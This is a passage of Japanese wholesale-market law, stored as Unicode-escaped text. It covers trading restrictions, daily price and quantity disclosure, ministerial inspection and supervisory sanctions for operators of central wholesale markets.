6cd5\u305d\u306e\u4ed6\u306e\u6c7a\u6e08\u306e\u65b9\u6cd5\u3067\u3042\u3064\u3066\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u308b\u3082\u306e\u306b\u3088\u308a\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u58f2\u8cb7\u53d6\u5f15\u306e\u5236\u9650\uff09\n\u7b2c\u56db\u5341\u4e94\u6761\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u58f2\u8cb7\u53d6\u5f15\u306b\u304a\u3044\u3066\u3001\u4e0d\u6b63\u306a\u884c\u70ba\u304c\u884c\u306a\u308f\u308c\u3001\u53c8\u306f\u4e0d\u5f53\u306a\u4fa1\u683c\u304c\u5f62\u6210\u3055\u308c\u3066\u3044\u308b\u3068\u8a8d\u3081\u308b\u3068\u304d\u306f\u3001\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u5378\u58f2\u696d\u8005\u3001\u4ef2\u5378\u696d\u8005\u53c8\u306f\u58f2\u8cb7\u53c2\u52a0\u8005\u306b\u5bfe\u3057\u3001\u5f53\u8a72\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u58f2\u8cb7\u53d6\u5f15\uff08\u5378\u58f2\u696d\u8005\u306b\u3064\u3044\u3066\u306f\u3001\u5f53\u8a72\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u305f\u3081\u306e\u8ca9\u58f2\u306e\u59d4\u8a17\u306e\u5f15\u53d7\u3051\u3092\u542b\u3080\u3002\uff09\u306e\u5236\u9650\u3092\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\n\n\uff08\u958b\u8a2d\u8005\u306b\u3088\u308b\u5378\u58f2\u4e88\u5b9a\u6570\u91cf\u7b49\u306e\u516c\u8868\uff09\n\u7b2c\u56db\u5341\u516d\u6761\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u5404\u5e02\u5834\u306b\u304a\u3044\u3066\u53d6\u308a\u6271\u3046\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306b\u3064\u3044\u3066\u3001\u6bce\u65e5\u306e\u5378\u58f2\u304c\u958b\u59cb\u3055\u308c\u308b\u6642\u307e\u3067\u306b\u3001\u305d\u306e\u65e5\u306e\u4e3b\u8981\u306a\u54c1\u76ee\u306e\u5378\u58f2\u4e88\u5b9a\u6570\u91cf\u305d\u306e\u4ed6\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u4e8b\u9805\u3092\u5f53\u8a72\u5404\u5e02\u5834\u306e\u898b\u3084\u3059\u3044\u5834\u6240\u306b\u63b2\u793a\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u524d\u9805\u306e\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306b\u3064\u3044\u3066\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u6bce\u65e5\u306e\u5378\u58f2\u696d\u8005\u306e\u5378\u58f2\u306e\u6570\u91cf\u53ca\u3073\u4fa1\u683c\u3092\u3001\u3059\u307f\u3084\u304b\u306b\u516c\u8868\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u5378\u58f2\u696d\u8005\u306b\u3088\u308b\u5378\u58f2\u4e88\u5b9a\u6570\u91cf\u7b49\u306e\u516c\u8868\uff09\n\u7b2c\u56db\u5341\u4e03\u6761\n\n\u3000\u5378\u58f2\u696d\u8005\u306f\u3001\u524d\u6761\u7b2c\u4e00\u9805\u306e\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306b\u3064\u3044\u3066\u3001\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u6bce\u65e5\u306e\u5378\u58f2\u304c\u958b\u59cb\u3055\u308c\u308b\u6642\u307e\u3067\u306b\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u533a\u5206\u3054\u3068\u306b\u305d\u306e\u65e5\u306e\u4e3b\u8981\u306a\u54c1\u76ee\u306e\u5378\u58f2\u4e88\u5b9a\u6570\u91cf\u305d\u306e\u4ed6\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u4e8b\u9805\u3092\u5378\u58f2\u5834\u306e\u898b\u3084\u3059\u3044\u5834\u6240\u306b\u63b2\u793a\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u5378\u58f2\u696d\u8005\u306f\u3001\u524d\u9805\u306e\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306b\u3064\u3044\u3066\u3001\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u6bce\u65e5\u306e\u5378\u58f2\u304c\u7d42\u4e86\u3057\u305f\u5f8c\u901f\u3084\u304b\u306b\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u533a\u5206\u3054\u3068\u306b\u6bce\u65e5\u306e\u5378\u58f2\u306e\u6570\u91cf\u3001\u4fa1\u683c\u305d\u306e\u4ed6\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u4e8b\u9805\u3092\u516c\u8868\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\u3000\u3000\u3000\u3000\u7b2c\u56db\u7bc0\u3000\u76e3\u7763\n\n\n\uff08\u5831\u544a\u53ca\u3073\u691c\u67fb\uff09\n\u7b2c\u56db\u5341\u516b\u6761\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306b\u5fc5\u8981\u306a\u9650\u5ea6\u306b\u304a\u3044\u3066\u3001\u958b\u8a2d\u8005\u82e5\u3057\u304f\u306f\u5378\u58f2\u696d\u8005\u306b\u5bfe\u3057\u3001\u305d\u306e\u696d\u52d9\u82e5\u3057\u304f\u306f\u8ca1\u7523\u306b\u95a2\u3057\u5831\u544a\u82e5\u3057\u304f\u306f\u8cc7\u6599\u306e\u63d0\u51fa\u3092\u6c42\u3081\u3001\u53c8\u306f\u305d\u306e\u8077\u54e1\u306b\u3001\u958b\u8a2d\u8005\u82e5\u3057\u304f\u306f\u5378\u58f2\u696d\u8005\u306e\u4e8b\u52d9\u6240\u305d\u306e\u4ed6\u306e\u696d\u52d9\u3092\u884c\u306a\u3046\u5834\u6240\u306b\u7acb\u3061\u5165\u308a\u3001\u305d\u306e\u696d\u52d9\u82e5\u3057\u304f\u306f\u8ca1\u7523\u306e\u72b6\u6cc1\u82e5\u3057\u304f\u306f\u5e33\u7c3f\u3001\u66f8\u985e\u305d\u306e\u4ed6\u306e\u7269\u4ef6\u3092\u691c\u67fb\u3055\u305b\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff12\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306b\u5fc5\u8981\u306a\u9650\u5ea6\u306b\u304a\u3044\u3066\u3001\u5378\u58f2\u696d\u8005\u82e5\u3057\u304f\u306f\u4ef2\u5378\u696d\u8005\u306b\u5bfe\u3057\u3001\u305d\u306e\u696d\u52d9\u82e5\u3057\u304f\u306f\u8ca1\u7523\u306b\u95a2\u3057\u5831\u544a\u82e5\u3057\u304f\u306f\u8cc7\u6599\u306e\u63d0\u51fa\u3092\u6c42\u3081\u3001\u53c8\u306f\u305d\u306e\u8077\u54e1\u306b\u3001\u5378\u58f2\u696d\u8005\u82e5\u3057\u304f\u306f\u4ef2\u5378\u696d\u8005\u306e\u4e8b\u52d9\u6240\u305d\u306e\u4ed6\u306e\u696d\u52d9\u3092\u884c\u306a\u3046\u5834\u6240\u306b\u7acb\u3061\u5165\u308a\u3001\u305d\u306e\u696d\u52d9\u82e5\u3057\u304f\u306f\u8ca1\u7523\u306e\u72b6\u6cc1\u82e5\u3057\u304f\u306f\u5e33\u7c3f\u3001\u66f8\u985e\u305d\u306e\u4ed6\u306e\u7269\u4ef6\u3092\u691c\u67fb\u3055\u305b\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff13\n\n\u3000\u7b2c\u4e00\u9805\u53c8\u306f\u524d\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u7acb\u5165\u691c\u67fb\u3092\u3059\u308b\u8077\u54e1\u306f\u3001\u305d\u306e\u8eab\u5206\u3092\u793a\u3059\u8a3c\u660e\u66f8\u3092\u643a\u5e2f\u3057\u3001\u95a2\u4fc2\u4eba\u306b\u63d0\u793a\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff14\n\n\u3000\u7b2c\u4e00\u9805\u53c8\u306f\u7b2c\u4e8c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u7acb\u5165\u691c\u67fb\u306e\u6a29\u9650\u306f\u3001\u72af\u7f6a\u635c\u67fb\u306e\u305f\u3081\u306b\u8a8d\u3081\u3089\u308c\u305f\u3082\u306e\u3068\u89e3\u3057\u3066\u306f\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u76e3\u7763\u51e6\u5206\uff09\n\u7b2c\u56db\u5341\u4e5d\u6761\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u958b\u8a2d\u8005\u304c\u3001\u3053\u306e\u6cd5\u5f8b\u82e5\u3057\u304f\u306f\u3053\u306e\u6cd5\u5f8b\u306b\u57fa\u3065\u304f\u547d\u4ee4\u53c8\u306f\u3053\u308c\u3089\u306b\u57fa\u3065\u304f\u51e6\u5206\u306b\u9055\u53cd\u3057\u305f\u3068\u304d\u306f\u3001\u5f53\u8a72\u958b\u8a2d\u8005\u306b\u5bfe\u3057\u3001\u6b21\u306b\u63b2\u3052\u308b\u51e6\u5206\u3092\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\u4e00\n\n\u3000\u5f53\u8a72\u9055\u53cd\u884c\u70ba\u306e\u4e2d\u6b62\u3001\u5909\u66f4\u305d\u306e\u4ed6\u9055\u53cd\u3092\u662f\u6b63\u3059\u308b\u305f\u3081\u5fc5\u8981\u306a\u63aa\u7f6e\u3092\u6307\u793a\u3059\u308b\u3053\u3068\u3002\n\n\u4e8c\n\n\u3000\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u958b\u8a2d\u306e\u8a8d\u53ef\u3092\u53d6\u308a\u6d88\u3057\u3001\u53c8\u306f\u4e00\u5e74\u4ee5\u5185\u306e\u671f\u9593\u3092\u5b9a\u3081\u3066\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u696d\u52d9\u306e\u5168\u90e8\u82e5\u3057\u304f\u306f\u4e00\u90e8\u306e\u505c\u6b62\u3092\u6307\u793a\u3059\u308b\u3053\u3068\u3002\n\n\n\uff12\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u5378\u58f2\u696d\u8005\u304c\u3001\u3053\u306e\u6cd5\u5f8b\u82e5\u3057\u304f\u306f\u3053\u306e\u6cd5\u5f8b\u306b\u57fa\u3065\u304f\u547d\u4ee4\u53c8\u306f\u3053\u308c\u3089\u306b\u57fa\u3065\u304f\u51e6\u5206\u306b\u9055\u53cd\u3057\u305f\u3068\u304d\u306f\u3001\u5f53\u8a72\u5378\u58f2\u696d\u8005\u306b\u5bfe\u3057\u3001\u6b21\u306b\u63b2\u3052\u308b\u51e6\u5206\u3092\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\u4e00\n\n\u3000\u5f53\u8a72\u9055\u53cd\u884c\u70ba\u306e\u4e2d\u6b62\u3001\u5909\u66f4\u305d\u306e\u4ed6\u9055\u53cd\u3092\u662f\u6b63\u3059\u308b\u305f\u3081\u5fc5\u8981\u306a\u63aa\u7f6e\u3092\u547d\u305a\u308b\u3053\u3068\u3002\n\n\u4e8c\n\n\u3000\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d6\u308a\u6d88\u3057\u3001\u53c8\u306f\u4e00\u5e74\u4ee5\u5185\u306e\u671f\u9593\u3092\u5b9a\u3081\u3066\u305d\u306e\u8a31\u53ef\u306b\u4fc2\u308b\u5378\u58f2\u306e\u696d\u52d9\u306e\u5168\u90e8\u82e5\u3057\u304f\u306f\u4e00\u90e8\u306e\u505c\u6b62\u3092\u547d\u305a\u308b\u3053\u3068\u3002\n\n\u4e09\n\n\u3000\u305d\u306e\u696d\u52d9\u3092\u57f7\u884c\u3059\u308b\u5f79\u54e1\u3067\u5f53\u8a72\u9055\u53cd\u884c\u70ba\u3092\u3057\u305f\u3082\u306e\u306e\u89e3\u4efb\u3092\u547d\u305a\u308b\u3053\u3068\u3002\n\n\n\uff13\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u958b\u8a2d\u8005\u306b\u5bfe\u3057\u7b2c\u4e00\u9805\u7b2c\u4e8c\u53f7\u306e\u898f\u5b9a\u306b\u3088\u308b\u51e6\u5206\u3092\u3057\u3088\u3046\u3068\u3059\u308b\u3068\u304d\u306f\u3001\u5f53\u8a72\u958b\u8a2d\u8005\u306b\u5bfe\u3057\u3001\u76f8\u5f53\u306a\u671f\u9593\u3092\u7f6e\u3044\u3066\u4e88\u544a\u3057\u305f\u4e0a\u3001\u516c\u958b\u306b\u3088\u308b\u610f\u898b\u306e\u8074\u53d6\u3092\u884c\u308f\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff14\n\n\u3000\u524d\u9805\u306e\u4e88\u544a\u306b\u304a\u3044\u3066\u306f\u3001\u671f\u65e5\u3001\u5834\u6240\u53ca\u3073\u51e6\u5206\u306e\u539f\u56e0\u3068\u306a\u3064\u305f\u7406\u7531\u3092\u793a\u3055\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff15\n\n\u3000\u7b2c\u4e09\u9805\u306e\u610f\u898b\u306e\u8074\u53d6\u306b\u969b\u3057\u3066\u306f\u3001\u5f53\u8a72\u958b\u8a2d\u8005\u53c8\u306f\u305d\u306e\u4ee3\u7406\u4eba\u306f\u3001\u5f53\u8a72\u4e8b\u6848\u306b\u3064\u3044\u3066\u8a3c\u62e0\u3092\u63d0\u51fa\u3057\u3001\u610f\u898b\u3092\u8ff0\u3079\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff16\n\n\u3000\u7b2c\u5341\u4e5d\u6761\u7b2c\u4e94\u9805\u306e\u898f\u5b9a\u306f\u3001\u7b2c\u4e8c\u9805\u7b2c\u4e8c\u53f7\u306e\u898f\u5b9a\u306b\u3088\u308b\u8a31\u53ef\u306e\u53d6\u6d88\u3057\u53c8\u306f\u540c\u9805\u7b2c\u4e09\u53f7\u306e\u898f\u5b9a\u306b\u3088\u308b\u547d\u4ee4\u306b\u4fc2\u308b\u8074\u805e\u306b\u3064\u3044\u3066\u6e96\u7528\u3059\u308b\u3002\n\n\n\n\u7b2c\u4e94\u5341\u6761\n\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u5378\u58f2\u696d\u8005\u3001\u4ef2\u5378\u696d\u8005\u53c8\u306f\u58f2\u8cb7\u53c2\u52a0\u8005\u304c\u696d\u52d9\u898f\u7a0b\u53c8\u306f\u3053\u308c\u306b\u57fa\u3065\u304f\u51e6\u5206\u306b\u9055\u53cd\u3057\u305f\u5834\u5408\u306b\u306f\u3001\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u3053\u308c\u3089\u306e\u8005\u306b\u5bfe\u3057\u3001\u5f53\u8a72\u884c\u70ba\u306e\u4e2d\u6b62\u3001\u5909\u66f4\u305d\u306e\u4ed6\u9055\u53cd\u3092\u662f\u6b63\u3059\u308b\u305f\u3081\u5fc5\u8981\u306a\u63aa\u7f6e\u3092\u547d\u3058\u3001\u5341\u4e07\u5186\u4ee5\u4e0b\u306e\u904e\u6599\u3092\u79d1\u3057\u3001\u53c8\u306f\u5378\u58f2\u696d\u8005\u306b\u3042\u3064\u3066\u306f\u7b2c\u4e00\u53f7\u3001\u4ef2\u5378\u696d\u8005\u306b\u3042\u3064\u3066\u306f\u7b2c\u4e8c\u53f7\u3001\u58f2\u8cb7\u53c2\u52a0\u8005\u306b\u3042\u3064\u3066\u306f\u7b2c\u4e09\u53f7\u306b\u63b2\u3052\u308b\u51e6\u5206\u3092\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\u4e00\n\n\u3000\u516d\u6708\u4ee5\u5185\u306e\u671f\u9593\u3092\u5b9a\u3081\u3066\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u306b\u4fc2\u308b\u5378\u58f2\u306e\u696d\u52d9\u306e\u5168\u90e8\u53c8\u306f\u4e00\u90e8\u306e\u505c\u6b62\u3092\u547d\u305a\u308b\u3053\u3068\u3002\n\n\u4e8c\n\n\u3000\u7b2c\u4e09\u5341\u4e09\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d6\u308a\u6d88\u3057\u3001\u53c8\u306f\u516d\u6708\u4ee5\u5185\u306e\u671f\u9593\u3092\u5b9a\u3081\u3066\u305d\u306e\u8a31\u53ef\u306b\u4fc2\u308b\u4ef2\u5378\u3057\u306e\u696d\u52d9\u306e\u5168\u90e8\u82e5\u3057\u304f\u306f\u4e00\u90e8\u306e\u505c\u6b62\u3092\u547d\u305a\u308b\u3053\u3068\u3002\n\n\u4e09\n\n\u3000\u7b2c\u4e09\u5341\u516d\u6761\u7b2c\u4e00\u9805\u306b\u898f\u5b9a\u3059\u308b\u627f\u8a8d\u3092\u53d6\u308a\u6d88\u3057\u3001\u53c8\u306f\u516d\u6708\u4ee5\u5185\u306e\u671f\u9593\u3092\u5b9a\u3081\u3066\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u3078\u306e\u5165\u5834\u306e\u505c\u6b62\u3092\u547d\u305a\u308b\u3053\u3068\u3002\n\n\n\n\n\uff08\u5fc5\u8981\u306a\u6539\u5584\u63aa\u7f6e\u3092\u3068\u308b\u3079\u304d\u65e8\u306e\u52e7\u544a\u53c8\u306f\u547d\u4ee4\uff09\n\u7b2c\u4e94\u5341\u4e00\u6761\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u696d\u52d9\u306e\u9069\u6b63\u304b\u3064\u5065\u5168\u306a\u904b\u55b6\u3092\u78ba\u4fdd\u3059\u308b\u305f\u3081\u5fc5\u8981\u304c\u3042\u308b\u3068\u8a8d\u3081\u308b\u3068\u304d\u306f\u3001\u958b\u8a2d\u8005\u306b\u5bfe\u3057\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u65bd\u8a2d\u306e\u6539\u5584\u3001\u696d\u52d9\u898f\u7a0b\u306e\u5909\u66f4\u305d\u306e\u4ed6\u306e\u5fc5\u8981\u306a\u6539\u5584\u63aa\u7f6e\u3092\u3068\u308b\u3079\u304d\u65e8\u3092\u52e7\u544a\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff12\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u5378\u58f2\u696d\u8005\u306e\u8ca1\u7523\u306e\u72b6\u6cc1\u304c\u6b21\u306e\u5404\u53f7\u306e\u3044\u305a\u308c\u304b\u306b\u8a72\u5f53\u3059\u308b\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u696d\u52d9\u306e\u9069\u6b63\u304b\u3064\u5065\u5168\u306a\u904b\u55b6\u3092\u78ba\u4fdd\u3059\u308b\u305f\u3081\u5fc5\u8981\u304c\u3042\u308b\u3068\u8a8d\u3081\u308b\u3068\u304d\u306f\u3001\u5f53\u8a72\u5378\u58f2\u696d\u8005\u306b\u5bfe\u3057\u3001\u5f53\u8a72\u5378\u58f2\u696d\u8005\u306e\u8ca1\u7523\u306b\u95a2\u3057\u5fc5\u8981\u306a\u6539\u5584\u63aa\u7f6e\u3092\u3068\u308b\u3079\u304d\u65e8\u3092\u547d\u305a\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\u4e00\n\n\u3000\u6d41\u52d5\u8cc7\u7523\u306e\u5408\u8a08\u91d1\u984d\u306e\u6d41\u52d5\u8ca0\u50b5\u306e\u5408\u8a08\u91d1\u984d\u306b\u5bfe\u3059\u308b\u6bd4\u7387\u304c\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u7387\u3092\u4e0b\u3064\u305f\u5834\u5408\n\n\u4e8c\n\n\u3000\u8cc7\u672c\u306e\u5408\u8a08\u91d1\u984d\u306e\u8cc7\u672c\u53ca\u3073\u8ca0\u50b5\u306e\u5408\u8a08\u91d1\u984d\u306b\u5bfe\u3059\u308b\u6bd4\u7387\u304c\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u7387\u3092\u4e0b\u3064\u305f\u5834\u5408\n\n\u4e09\n\n\u3000\u524d\u4e8c\u53f7\u306b\u63b2\u3052\u308b\u5834\u5408\u306e\u307b\u304b\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u696d\u52d9\u306e\u9069\u6b63\u304b\u3064\u5065\u5168\u306a\u904b\u55b6\u3092\u78ba\u4fdd\u3059\u308b\u305f\u3081\u8ca1\u7523\u306e\u72b6\u6cc1\u306b\u3064\u304d\u662f\u6b63\u3092\u52a0\u3048\u308b\u3053\u3068\u304c\u5fc5\u8981\u306a\u5834\u5408\u3068\u3057\u3066\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u5834\u5408\n\n\n\uff13\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u53c8\u306f\u958b\u8a2d\u8005\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u696d\u52d9\u306e\u9069\u6b63\u304b\u3064\u5065\u5168\u306a\u904b\u55b6\u3092\u78ba\u4fdd\u3059\u308b\u305f\u3081\u5fc5\u8981\u304c\u3042\u308b\u3068\u8a8d\u3081\u308b\u3068\u304d\u306f\u3001\u5378\u58f2\u696d\u8005\u306b\u5bfe\u3057\u3001\u5f53\u8a72\u5378\u58f2\u696d\u8005\u306e\u696d\u52d9\u53c8\u306f\u4f1a\u8a08\u306b\u95a2\u3057\u5fc5\u8981\u306a\u6539\u5584\u63aa\u7f6e\u3092\u3068\u308b\u3079\u304d\u65e8\u3092\u547d\u305a\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff14\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u4ef2\u5378\u696d\u8005\u306e\u8ca1\u7523\u306e\u72b6\u6cc1\u304c\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u4ef2\u5378\u3057\u306e\u696d\u52d9\u306e\u9069\u6b63\u304b\u3064\u5065\u5168\u306a\u904b\u55b6\u3092\u78ba\u4fdd\u3059\u308b\u305f\u3081\u8ca1\u7523\u306e\u72b6\u6cc1\u306b\u3064\u304d\u662f\u6b63\u3092\u52a0\u3048\u308b\u3053\u3068\u304c\u5fc5\u8981\u306a\u5834\u5408\u3068\u3057\u3066\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u308b\u5834\u5408\u306b\u8a72\u5f53\u3059\u308b\u3068\u304d\u306f\u3001\u5f53\u8a72\u4ef2\u5378\u696d\u8005\u306b\u5bfe\u3057\u3001\u5f53\u8a72\u4ef2\u5378\u696d\u8005\u306e\u8ca1\u7523\u306b\u95a2\u3057\u5fc5\u8981\u306a\u6539\u5584\u63aa\u7f6e\u3092\u3068\u308b\u3079\u304d\u65e8\u3092\u547d\u305a\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff15\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u4ef2\u5378\u3057\u306e\u696d\u52d9\u306e\u9069\u6b63\u304b\u3064\u5065\u5168\u306a\u904b\u55b6\u3092\u78ba\u4fdd\u3059\u308b\u305f\u3081\u5fc5\u8981\u304c\u3042\u308b\u3068\u8a8d\u3081\u308b\u3068\u304d\u306f\u3001\u4ef2\u5378\u696d\u8005\u306b\u5bfe\u3057\u3001\u5f53\u8a72\u4ef2\u5378\u696d\u8005\u306e\u696d\u52d9\u53c8\u306f\u4f1a\u8a08\u306b\u95a2\u3057\u5fc5\u8981\u306a\u6539\u5584\u63aa\u7f6e\u3092\u3068\u308b\u3079\u304d\u65e8\u3092\u547d\u305a\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff16\n\n\u3000\u7b2c\u4e8c\u9805\u7b2c\u4e00\u53f7\u306e\u6d41\u52d5\u8cc7\u7523\u306e\u5408\u8a08\u91d1\u984d\u53ca\u3073\u6d41\u52d5\u8ca0\u50b5\u306e\u5408\u8a08\u91d1\u984d\u4e26\u3073\u306b\u540c\u9805\u7b2c\u4e8c\u53f7\u306e\u8cc7\u672c\u306e\u5408\u8a08\u91d1\u984d\u4e26\u3073\u306b\u8cc7\u672c\u53ca\u3073\u8ca0\u50b5\u306e\u5408\u8a08\u91d1\u984d\u306f\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u8a08\u7b97\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\u3000\u3000\u3000\u3000\u7b2c\u4e94\u7bc0\u3000\u96d1\u5247\n\n\n\uff08\u5378\u58f2\u696d\u52d9\u306e\u4ee3\u884c\uff09\n\u7b2c\u4e94\u5341\u4e8c\u6761\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u5378\u58f2\u696d\u8005\u304c\u5378\u58f2\u306e\u696d\u52d9\u306e\u5168\u90e8\u53c8\u306f\u4e00\u90e8\u3092\u884c\u306a\u3046\u3053\u3068\u304c\u3067\u304d\u306a\u304f\u306a\u3064\u305f\u5834\u5408\u306b\u306f\u3001\u5f53\u8a72\u5378\u58f2\u696d\u8005\uff08\u5378\u58f2\u696d\u8005\u3067\u3042\u3064\u305f\u8005\u3092\u542b\u3080\u3002\uff09\u306b\u5bfe\u3057\u305d\u306e\u884c\u306a\u3046\u3053\u3068\u304c\u3067\u304d\u306a\u304f\u306a\u3064\u305f\u5378\u58f2\u306e\u696d\u52d9\u306b\u4fc2\u308b\u5378\u58f2\u306e\u305f\u3081\u306e\u8ca9\u58f2\u306e\u59d4\u8a17\u306e\u7533\u8fbc\u307f\u306e\u3042\u3064\u305f\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306b\u3064\u3044\u3066\u3001\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u81ea\u3089\u305d\u306e\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u306a\u3044\u3001\u53c8\u306f\u4ed6\u306e\u5378\u58f2\u696d\u8005\u306b\u305d\u306e\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u306a\u308f\u305b\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff12\n\n\u3000\u524d\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u306a\u3046\u958b\u8a2d\u8005\u306b\u3064\u3044\u3066\u306f\u3001\u3053\u306e\u7ae0\u7b2c\u4e8c\u7bc0\u306e\u898f\u5b9a\u306f\u9069\u7528\u3057\u306a\u3044\u3002\n\n\n\n\uff08\u5831\u544a\u53ca\u3073\u544a\u793a\uff09\n\u7b2c\u4e94\u5341\u4e09\u6761\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u6b21\u306e\u5404\u53f7\u306b\u63b2\u3052\u308b\u5834\u5408\u306b\u306f\u3001\u9045\u6ede\u306a\u304f\u3001\u305d\u306e\u65e8\u3092\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306b\u5831\u544a\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\u4e00\n\n\u3000\u7b2c\u5341\u4e5d\u6761\u7b2c\u4e8c\u9805\u3001\u7b2c\u4e8c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u82e5\u3057\u304f\u306f\u7b2c\u4e8c\u9805\u53c8\u306f\u7b2c\u56db\u5341\u4e5d\u6761\u7b2c\u4e8c